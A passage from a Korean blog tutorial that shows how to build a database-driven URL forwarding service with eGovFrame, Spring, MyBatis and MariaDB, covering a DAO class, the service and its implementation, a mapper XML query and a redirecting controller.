	 * @param parameterObject - 삭제 처리 SQL mapping 입력 데이터(일반적으로 key 조건)를  세팅한 파라메터 객체(보통 VO 또는 Map)
	 *
	 * @return DBMS가 지원하는 경우 delete 적용 결과 count
	 */
	public int delete(String queryId, Object parameterObject) {
		return super.getSqlSession().delete(queryId, parameterObject);
	}

	//CHECKSTYLE:OFF
	/**
	 * 명명규칙에 맞춰 selectOne()로 변경한다.
	 * @deprecated select() 메소드로 대체
	 * 
	 * @see EgovAbstractMapper.selectOne()
	 */
	//CHECKSTYLE:ON
	@Deprecated
	public Object selectByPk(String queryId, Object parameterObject) {
		return super.getSqlSession().selectOne(queryId, parameterObject);
	}

	/**
	 * 단건조회 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 단건 조회 처리 SQL mapping 쿼리 ID
	 *
	 * @return 결과 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 단일 결과 객체(보통 VO 또는 Map)
	 */
	public <T> T selectOne(String queryId) {
		return super.getSqlSession().selectOne(queryId);
	}

	/**
	 * 단건조회 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 단건 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 단건 조회 처리 SQL mapping 입력 데이터(key)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 *
	 * @return 결과 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 단일 결과 객체(보통 VO 또는 Map)
	 */
	public <T> T selectOne(String queryId, Object parameterObject) {
		return super.getSqlSession().selectOne(queryId, parameterObject);
	}

	/**
	 * 결과 목록을 Map 을 변환한다.
	 * 모든 구문이 파라미터를 필요로 하지는 않기 때문에, 파라미터 객체를 요구하지 않는 형태로 오버로드되었다.
	 *
	 * @param queryId - 단건 조회 처리 SQL mapping 쿼리 ID
	 * @param mapKey - 결과 객체의 프로퍼티 중 하나를 키로 사용
	 *
	 * @return 결과 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 단일 결과 객체(보통 VO 또는 Map)의 Map
	 */
	public <K, V> Map<K, V> selectMap(String queryId, String mapKey) {
		return super.getSqlSession().selectMap(queryId, mapKey);
	}

	/**
	 * 결과 목록을 Map 을 변환한다.
	 * 모든 구문이 파라미터를 필요로 하지는 않기 때문에, 파라미터 객체를 요구하지 않는 형태로 오버로드되었다.
	 *
	 * @param queryId - 단건 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 맵 조회 처리 SQL mapping 입력 데이터(조회 조건)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 * @param mapKey - 결과 객체의 프로퍼티 중 하나를 키로 사용
	 *
	 * @return 결과 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 단일 결과 객체(보통 VO 또는 Map)의 Map
	 */
	public <K, V> Map<K, V> selectMap(String queryId, Object parameterObject, String mapKey) {
		return super.getSqlSession().selectMap(queryId, parameterObject, mapKey);
	}

	/**
	 * 결과 목록을 Map 을 변환한다.
	 * 모든 구문이 파라미터를 필요로 하지는 않기 때문에, 파라미터 객체를 요구하지 않는 형태로 오버로드되었다.
	 *
	 * @param queryId - 단건 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 맵 조회 처리 SQL mapping 입력 데이터(조회 조건)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 * @param mapKey - 결과 객체의 프로퍼티 중 하나를 키로 사용
	 * @param rowBounds - 특정 개수 만큼의 레코드를 건너띄게 함
	 *
	 * @return 결과 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 단일 결과 객체(보통 VO 또는 Map)의 Map
	 */
	public <K, V> Map<K, V> selectMap(String queryId, Object parameterObject, String mapKey, RowBounds rowBounds) {
		return super.getSqlSession().selectMap(queryId, parameterObject, mapKey, rowBounds);
	}

	//CHECKSTYLE:OFF
	/**
	 * 명명규칙에 맞춰 selectList()로 변경한다.
	 * 
	 * @see EgovAbstractMapper.selectList()
	 * @deprecated List<?> 메소드로 대체
	 */
	//CHECKSTYLE:ON
	@Deprecated
	public List<?> list(String queryId, Object parameterObject) {
		return super.getSqlSession().selectList(queryId, parameterObject);
	}

	/**
	 * 리스트 조회 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 리스트 조회 처리 SQL mapping 쿼리 ID
	 *
	 * @return 결과 List 객체 - SQL mapping 파일에서 지정한  resultType/resultMap 에 의한 결과 객체(보통 VO 또는 Map)의 List
	 */
	public <E> List<E> selectList(String queryId) {
		return super.getSqlSession().selectList(queryId);
	}

	/**
	 * 리스트 조회 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 리스트 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 리스트 조회 처리 SQL mapping 입력 데이터(조회 조건)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 *
	 * @return 결과 List 객체 - SQL mapping 파일에서 지정한  resultType/resultMap 에 의한 결과 객체(보통 VO 또는 Map)의 List
	 */
	public <E> List<E> selectList(String queryId, Object parameterObject) {
		return super.getSqlSession().selectList(queryId, parameterObject);
	}

	/**
	 * 리스트 조회 처리 SQL mapping 을 실행한다.
	 *
	 * @param queryId - 리스트 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 리스트 조회 처리 SQL mapping 입력 데이터(조회 조건)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 * @param rowBounds - 특정 개수 만큼의 레코드를 건너띄게 함
	 *
	 * @return 결과 List 객체 - SQL mapping 파일에서 지정한  resultType/resultMap 에 의한 결과 객체(보통 VO 또는 Map)의 List
	 */
	public <E> List<E> selectList(String queryId, Object parameterObject, RowBounds rowBounds) {
		return super.getSqlSession().selectList(queryId, parameterObject, rowBounds);
	}
	
	/**
     * @description   Map 으로 리스트를 조회한다. 단 페이징 로직을 수행한다.
     */
    /*public <E>List<E> selectListWithPaging(String id ,CmMultiVO vo) {
    	MappedStatement ms = super.getSqlSession().getConfiguration().getMappedStatement(id);
    	
    	
		//전체 ROW Counting을 위해 기존 SQLMap 객체를 카피하고 PaginationStatementInterceptor에서 excute하기전에 쿼리를 조작함
		if(!super.getSqlSession().getConfiguration().hasStatement(id+"$$_TOTCNT___$$")){
			MappedStatement.Builder msBuilder = new MappedStatement.Builder(
					ms.getConfiguration(), id+"$$_TOTCNT___$$", ms.getSqlSource(),
					ms.getSqlCommandType());
			
			msBuilder.resource(ms.getResource());
			msBuilder.fetchSize(ms.getFetchSize());
			msBuilder.statementType(ms.getStatementType());
			msBuilder.keyGenerator(ms.getKeyGenerator());
			if (null != ms.getKeyProperties()) {
				for (String keyProperty : ms.getKeyProperties()) {
					msBuilder.keyProperty(keyProperty);
				}
			}
			msBuilder.timeout(ms.getTimeout());
			msBuilder.parameterMap(ms.getParameterMap());
			ResultMap.Builder rmBuilder = new ResultMap.Builder(ms.getConfiguration(), ms.getId()+"$$_TOTCNTMAP___$$", Integer.class, new ArrayList<ResultMapping>());
			ArrayList<ResultMap> rsList = new ArrayList<ResultMap>();
			rsList.add(rmBuilder.build());
			msBuilder.resultMaps(rsList);
			msBuilder.cache(ms.getCache());
			
			synchronized(super.getSqlSession().getConfiguration()) {
				super.getSqlSession().getConfiguration().addMappedStatement(msBuilder.build());
			}

		}
		
		//신규로 생성한 sql을 실행, 실행 시 PaginationStatementInterceptor sql을 조작함
		int totCnt = super.getSqlSession().selectOne(id+"$$_TOTCNT___$$", vo);
		RowBounds rowBounds = null;
		if(vo.getPaginationInfo() != null){
			vo.getPaginationInfo().setTotalRecordCount(totCnt);
			rowBounds = new RowBounds(vo.getPaginationInfo().getFirstRecordIndex(), vo.getPaginationInfo().getRecordCountPerPage());
		}else{
			rowBounds = new RowBounds();
		}


		//실행 시 PaginationStatementInterceptor sql을 조작함
		List<E> resultList = super.getSqlSession().selectList(id, vo, rowBounds);
		
		
		return resultList;
    }*/
    
	/**
	 * 부분 범위 리스트 조회 처리 SQL mapping 을 실행한다.
	 * (부분 범위 - pageIndex 와 pageSize 기반으로 현재 부분 범위 조회를 위한 skipResults, maxResults 를 계산하여 ibatis 호출)
	 *
	 * @param queryId - 리스트 조회 처리 SQL mapping 쿼리 ID
	 * @param parameterObject - 리스트 조회 처리 SQL mapping 입력 데이터(조회 조건)를 세팅한 파라메터 객체(보통 VO 또는 Map)
	 * @param pageIndex - 현재 페이지 번호
	 * @param pageSize - 한 페이지 조회 수(pageSize)
	 *
	 * @return 부분 범위 결과 List 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 부분 범위 결과 객체(보통 VO 또는 Map) List
	 */
	public List<?> listWithPaging(String queryId, Object parameterObject, int pageIndex, int pageSize) {
		int skipResults = pageIndex * pageSize;
		//int maxResults = (pageIndex * pageSize) + pageSize;

		RowBounds rowBounds = new RowBounds(skipResults, pageSize);

		return super.getSqlSession().selectList(queryId, parameterObject, rowBounds);
	}

	/**
	 * SQL 조회 결과를 ResultHandler를 이용해서 출력한다.
	 * ResultHandler를 상속해 구현한 커스텀 핸들러의 handleResult() 메서드에 따라 실행된다.
	 *
	 * @param queryId - 리스트 조회 처리 SQL mapping 쿼리 ID
	 * @param handler - 조회 결과를 제어하기 위해 구현한 ResultHandler
	 * @return
	 *
	 * @return 결과 List 객체 - SQL mapping 파일에서 지정한 resultType/resultMap 에 의한 결과 객체(보통 VO 또는 Map)의 List
	 */
	public void listToOutUsingResultHandler(String queryId, ResultHandler handler) {
		super.getSqlSession().select(queryId, handler);
	}
	
}

저 소스덩어리를 이어서 CommonDAO.java에 넣어주자.

 

 

  넣으면 이런식으로 쭉~ 코드들이 들어갈텐데 저장을 눌러주자. 여기 내용들은 머 이해할 필요까진 없다. 이미 Mapper 역할을 할 EgovAbstractMapper를 상속받아 만들어진 것이기 때문에 그냥 아~ 여기 데이터에 접근해 조회, 삭제, 삽입, 변경 하는 함수들이 들어가는 구나 ~ 정도만 알고있으면 된다.

3. Service 추가

 

 

 

  자 이제 내 DB에서 데이터를 읽어올껀데 그렇게 하기위한 파일들을 작성해보자 먼저 service 부터 선언할껀데 위 service 패키지를 오른쪽마우스 눌러 New버튼 클릭 후 Class를 눌러주자. 그리고 앞으로 파일 생성할 일이 많으니 클래스를 만들라~ 하면 이정도는 외워두길 바란다.

 

 

  자 이름은 FwdService로 정해주고 Finish를 눌러주장!

 

 

  그럼 빈 파일이 생성된다.

아래 코드를 복붙하고 저장해주자.

package cpservice.fwd.service;

import java.util.List;

import egovframework.rte.psl.dataaccess.util.EgovMap;

public interface FwdService {
	/**
	 * URL 조회
	 * @param FwdVO 검색조건
	 * @return List<?> URL 목록
	 */
	List<EgovMap> selectTargetUrl(FwdVO vo);
}

 

 

 

  짜잔 서비스가 생겼다~ 이제 저 서비스에 있는 selectTargetUrl 기능을 구현해보자.

 

4. ServiceImpl 구현

 

 

 

  자 ServiceImpl.java를 만들껀데 다른점이라면 Impl파일은 서비스 패키지가 아니라 impl 패키지에 추가한다는 점이다. 꼭.! 경로 헷살리지 않도록 하자, 만약 service 캐키지 밑에 impl패키지가 없으면 만들어라, 만드는거 New누르고 Package누르면 만들 수 있다. 암트 다시돌아와서 impl 패키지를 오른쪽마우스 누르고 New-Class를 눌러 만들어주자. 이제 파일 만드는 것은 설명안해두 되겠지..!?

 

 

  파일 이름은 FwdServiceImpl로 만들어주자

 

 

 짜잔..! 생겼다..!

 

 

  개 귀여운 파일이 생겼다. 내용을 넣어주자

package cpservice.fwd.service.impl;

import java.util.List;

import javax.annotation.Resource;

import org.springframework.stereotype.Service;

import cpservice.cmmn.dao.CommonDAO;
import cpservice.fwd.service.FwdService;
import cpservice.fwd.service.FwdVO;
import egovframework.rte.fdl.cmmn.EgovAbstractServiceImpl;
import egovframework.rte.psl.dataaccess.util.EgovMap;

@Service("fwdService")
public class FwdServiceImpl extends EgovAbstractServiceImpl implements FwdService {

	/** CommonDAO */
	// TODO mybatis 사용
	@Resource(name = "CommonDAO")
    private CommonDAO dao;
	
	/**
	 * 요청에 맞는 URL을 조회하는 쿼리
	 */
	@Override
	public List<EgovMap> selectTargetUrl(FwdVO vo) {
		// TODO Auto-generated method stub
		return dao.selectList("fwd.selectTargetUrl", vo);
	}

}

 

  코드 설명을 간단히 해보자면 이 서비스의 selectTargerUrl 함수를 돌리면 selectTargetUrl 쿼리를 조회해서 뱉어주는 역할을한다.

5. fwdSql.xml 작성

 

  자 이제 쿼리문이 작성될 fwdSql.xml을 작성할 것이다.

 

 

  sqlmap 폴더에 폴더를 하나 만들어주자.

 

 

  폴더 이름은 fwd로 정해주자!

 

 

  만들어진 fwd 폴더에 XML파일을 추가해주자. New - Other 클릭!

 

 

  XML을 검색해주고 밑에 XML File을 눌러 NEXT!

 

 

 

  파일명은 fwd.xml로 추가!

 

 

  자 fwd폴더 밑에 fwd.xml이 생겼다 ㅎㅎ

 

 

파일을 열어보면 꼴랑 한줄 들어있다. 밑에 소스를 넣어주자!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="fwd">

	<select id="selectTargetUrl" parameterType="cpservice.fwd.service.FwdVO" resultType="egovMap">
		/** selectTagetUrl (fwdSql.xml) 마스터코드 목록 조회*/
		SELECT PM.SEQ_NO
			,PM.URL_STR
			,PM.DISC_STR
			,PM.USE_YN
		FROM prd_mst PM
		WHERE PM.SEQ_NO = #{reqParam}

		 
	</select>
	
</mapper>

 

  통째로 복붙하고 저장하자

 

 

  1. 소스를 좀 살펴보자. 먼저 1번 박스가 네임스페이스다. 자바 소스에서 쿼리를 불러올때 fwd.selectTargetUrl 이라는쿼리를 불러올때 앞에 fwd가 이 네임스페이스다. 긍까 네임스페이스가 Fwd인 파일에있는 selectTargetUrl이란 쿼리를 찾아오겠다~ 이말이다.

 

  2. 2번 박스를 보면 id="selectTargetUrl"로 되어있는데 1번에서 설명과 마찬가지로 해당 쿼리의 고유 ID다, 이 쿼리를 불러오기위해선 저 ID를 호출해야하는 것이다.

 

  3. 이건 파라미터 타입이다. 이 쿼리를 실행하기전에 여기다 객체를 집어 넣을 수 있다. 넣어서 뭐하냐고?!! 아주 중요한 질문인데, 자 만약에 넣을 수 없다면, 저 쿼리를 봤을때 5번 박스가 있는 Where 절에 SEQ_NO를 1일때, 2일때, 3일때 똑같은 쿼리를 여러번 만들어 줘야하는데 #{reqParam} 이란 변수명이 보이는가!?, 저 파라미터로 가져온 FwdVO안에 있는 저 변수명을 가지고 올 수 있는 것이다. 이 쿼리를 요청할때 함수 구문에 VO를 넣어주는 것이 보일텐데, 여기서 그 VO에 넣어져 있는 값을 사용할 수 있는 것이다. 만약에 reqParam에 1이 들어있으면 WHERE PM.SEQ_NO = 1 로 쿼리가 설정되고, reqParam에 2가 들어오면 WHERE PM.SEQ_NO가 2로 셋팅되는식으로, 쿼리문은 하나인데 들어오는 값들에 의해서 쿼리가 동적으로 변화하면서 아주 유연한 쿼링이 가능케하는 것이다. 이게 바로 MyBatis의 강점이라고 할 수 있다.

 

  4. 이건 조회하고나서 어떤 데이터 형으로 뱉어줄지다. 머 String이라고 하면 문자열로 나가는등, 원하는 타입으로 선언하면 된다. 하지만, DB특성사 조회하면 여러 컬럼의 형태로 조회되기 때문에 Map형태로 뽑아줘야한다. 이 전자정부프레임워크에는 egovMap이라는 데이터형이 만들어져 있는데 이 Map을 쓰는게 가장 사용하기 좋다.

 

  5. #{변수명} 이라고 쓰면 3번 박스에서 선언된 VO를 읽어와 그 VO에 들어온 정보들을 쓸 수 있다.

6. Controller.java 수정

 

  자 이제 데이터를 조회할 준비는 다됐고 실제 Biz 로직단에서 반영되도록 소스를 수정해주자!

 

 

  자 저번까지 작성한 컨트롤러의 코드를 보면 그냥 하드코딩이 되어있다. 들어오는 파라미터가 1이면 네이버를, 2면 다음, 3이면 구글 이렇게 값자체가 소스에 박혀있어 나중에 사후 관리측면에서 문제가 되는 소스들이다.

 

  이걸 이제 DB에서 불러오는걸로 바꿔보자 아예 통째로 소스를 부어 넣어주자.

 

package cpservice.fwd.web;

import java.util.List;

import javax.annotation.Resource;

import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;

import cpservice.fwd.service.FwdService;
import cpservice.fwd.service.FwdVO;
import egovframework.rte.psl.dataaccess.util.EgovMap;

@Controller
public class FwdController {

	/** 고객관리 서비스 */
	@Resource(name = "fwdService")
	private FwdService fwdService;
	
	@RequestMapping(value = "/reqUrl.do")
	public String selectReqUrl(@ModelAttribute("searchVO") FwdVO searchVO, ModelMap model) throws Exception {
		
		List<EgovMap> resultList = fwdService.selectTargetUrl(searchVO);
		
		String URL = (String) resultList.get(0).get("urlStr");
		
		return "redirect:http://"+URL;
		
	}
	
}

 

  자 이소스로 복붙하고 저장하자.

 

 

  소스를 살펴보자면

 

  1. fwd 관련 쿼리를 사용할 것임으로 fwdService를 호출해주자.

2. 이 호출한 서비스에서 selectTargetUrl 함수를 돌려 쿼리를 실행하주고, 그걸 resultList에 넣어주자. 자 또하나 보자면 함수의 파라미터로 searchVO를 넣어줬는데. 이건 사용자가 이 reqUrl.do를 요청할때 넣어준 데이터들이 들어있는 객체다. 이 VO를 쿼리돌리는 저함수에 넣어주면 분명 저 FwdVO안에 있는 reqParam이라는 사용자가 요청한 값도 받아올 것이다.

 

  3. 자 쿼리를 돌려 조회된 결과가 resultList인데 사실 이 쿼리는 여러행이 나오지 않는다. reqParam에 매칭되는 목적지 URL은 하나이기 때문에 단건 조회인데, 그럼 또 다른 함수를 타야하는데 보통 다건 조회가 많으니 그냥 List형태로 받아오도록했다.. 그래서 resultList.get(0)을 통해서 맨 첫번째 결과를 가져와 get("urlStr")을 통해서 조회한 쿼리에서 urlStr 칼럼을 가져오겠다는 것이다.

 

  4. 마지막으로 redirect://http:// 와 URL을 붙혀 리턴해주면 DB를 기반으로 조회하는 포워딩 시스템이 완성된다!

7. 결과 확인

 

 

  자 이제 서버를 한번 Clean뒤 Run을 해보면 서비스가 동작할텐데 오류없이 실행되면 잘 된거다. 다시 http://localhost:8080/reqUrl.do?reqParam=3이렇게 테스트로 조회를해보고 끝에 reqParam= 뒤에 값을 1,2,3등으로 변경하면서 엔터를 눌러봐라. 만약 각 DB에 넣은 정보에 맞는 페이지를 호출하면 잘 된거다.

 

  혹시 오류가 나는사람들은 다음 포스팅에 할 Debug과정을 통해서 한번 값들이 어떻게 이동하는지 살펴보도록 하자.

 

 

#스프링 #전자정부프레임워크 #마리아DB #이클립스 #마이바티스 #컨트롤러 #DAO #원리 #구조 #MariaDB #ByBatis #Controller

 

 

반응형

+ Recent posts